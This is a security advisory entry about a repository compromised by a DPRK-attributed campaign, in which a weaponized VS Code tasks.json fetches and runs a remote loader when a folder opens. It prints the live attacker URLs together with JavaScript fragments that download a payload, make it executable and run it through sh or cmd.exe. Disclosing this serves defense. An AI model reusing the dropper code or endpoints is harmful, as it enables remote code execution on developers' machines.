GCVE-110-OSM-2026-1869

Repository compromised by the PolinRider / TasksJacker DPRK threat actor (Lazarus, Contagious Interview cluster). A weaponized .vscode/tasks.json file was found at .vscode/tasks.json that executes 'curl | bash' or 'wget | sh' against an attacker-controlled Vercel/Render/Railway endpoint on VS Code folderOpen. This is the TasksJacker side of the PolinRider campaign — previously tracked separately, now operationally merged. The payload fetched from the C2 is the obfuscated PolinRider JavaScript loader that performs blockchain dead-drop C2 (TRON/Aptos/BSC) and XOR-decrypts a Beavertail second-stage loader. TasksJacker vscode/tasks.json payload found in: .vscode/tasks.json malicious URLs in tasks.json: https://vscode-toolkit-settings.vercel.app/settings/linux?flag=308`, (r) => { let d = ``; r.on(`data`, c => d += c); r.on(`end`, () => { fs.writeFileSync(tempFile, d); fs.chmodSync(tempFile, 0o755); exec(`${tempFile}`, { shell: `sh` }, (e, o, err) => { setTimeout(() => { try { fs.unlinkSync(tempFile); } catch {} }, 1000); }); }); });;https://vscode-toolkit-settings.vercel.app/settings/mac?flag=308`, (r) => { let d = ``; r.on(`data`, c => d += c); r.on(`end`, () => { fs.writeFileSync(tempFile, d); fs.chmodSync(tempFile, 0o755); exec(`${tempFile}`, { shell: `sh` }, (e, o, err) => { setTimeout(() => { try { fs.unlinkSync(tempFile); } catch {} }, 1000); }); }); });;https://vscode-toolkit-settings.vercel.app/settings/windows?flag=308`, (r) => { let d = ``; r.on(`data`, c => d += c); r.on(`end`, () => { fs.writeFileSync(tempFile, d); exec(`${tempFile}`, { shell: `cmd.exe` }, (e, o, err) => { setTimeout(() => fs.unlinkSync(tempFile), 1000); }); }); }); Detected markers: vscode-tasks-curl-sh Behavior: runOn=folderOpen task executes curl/wget piped to shell against an attacker-controlled endpoint; fetched shell script bootstraps the PolinRider JS loader.